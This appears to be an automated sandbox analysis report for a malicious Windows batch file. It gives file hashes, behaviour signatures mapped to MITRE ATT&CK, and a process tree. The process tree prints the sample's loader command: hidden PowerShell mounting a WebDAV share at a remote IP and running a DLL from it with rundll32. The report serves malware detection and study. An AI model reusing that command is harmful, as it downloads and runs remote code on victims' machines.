cdf6fdf5b8977aa32b3e8cd9385d1d20a79d528a460910bee4cc30fd326a8020

Analysis

max time kernel
106s
max time network
99s
platform
windows10-2004_x64
resource
win10v2004-20240709-en
resource tags

arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
submitted
15/07/2024, 06:55

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General

Target

6109277122782425860.bat
Size

2KB
MD5

81443d20af127866a7ae4543a15872c2
SHA1

5d837f0208199aa9ef1eb8cda80a22e5bb42d0ad
SHA256

8fdaa6591a5c8eff55c7170bafdcb99b2e88f625c3c6e0fd540ed94143b2d9d2
SHA512

36b4fd3ab2c47671eb23a17283cc445444436839c4efa805cf1b55581a81ba8064c83742fb9cf199cc2bda0bc6daadfb11d223f94f0fdcff8745fe6f5a4cd49b

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4660	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-47134698-4092160662-1261813102-1000\Control Panel\International\Geo\Nation	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4660	powershell.exe
4660	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4660	powershell.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
552	wordpad.exe
552	wordpad.exe
552	wordpad.exe
552	wordpad.exe
552	wordpad.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 2392 wrote to memory of 552	2392	cmd.exe	84
PID 2392 wrote to memory of 552	2392	cmd.exe	84
PID 2392 wrote to memory of 4660	2392	cmd.exe	86
PID 2392 wrote to memory of 4660	2392	cmd.exe	86
PID 4660 wrote to memory of 4928	4660	powershell.exe	88
PID 4660 wrote to memory of 4928	4660	powershell.exe	88
PID 4660 wrote to memory of 4556	4660	powershell.exe	89
PID 4660 wrote to memory of 4556	4660	powershell.exe	89

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\6109277122782425860.bat"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2392
- C:\Program Files\Windows NT\Accessories\wordpad.exe
  "C:\Program Files\Windows NT\Accessories\wordpad.exe"
  2⤵
  - Suspicious use of SetWindowsHookEx
  PID:552
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden net use \\45.9.74.32@8888\davwwwroot\ ; rundll32 \\45.9.74.32@8888\davwwwroot\2940.dll,entry
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4660
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" use \\45.9.74.32@8888\davwwwroot\
    3⤵
    PID:4928
- - C:\Windows\system32\rundll32.exe
    "C:\Windows\system32\rundll32.exe" \\45.9.74.32@8888\davwwwroot\2940.dll,entry
    3⤵
    PID:4556

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k PrintWorkflow -s PrintWorkflowUserSvc
1⤵
PID:4948

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_c0srphgm.akg.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/4660-9-0x0000021FB4220000-0x0000021FB4242000-memory.dmp

Filesize
136KB

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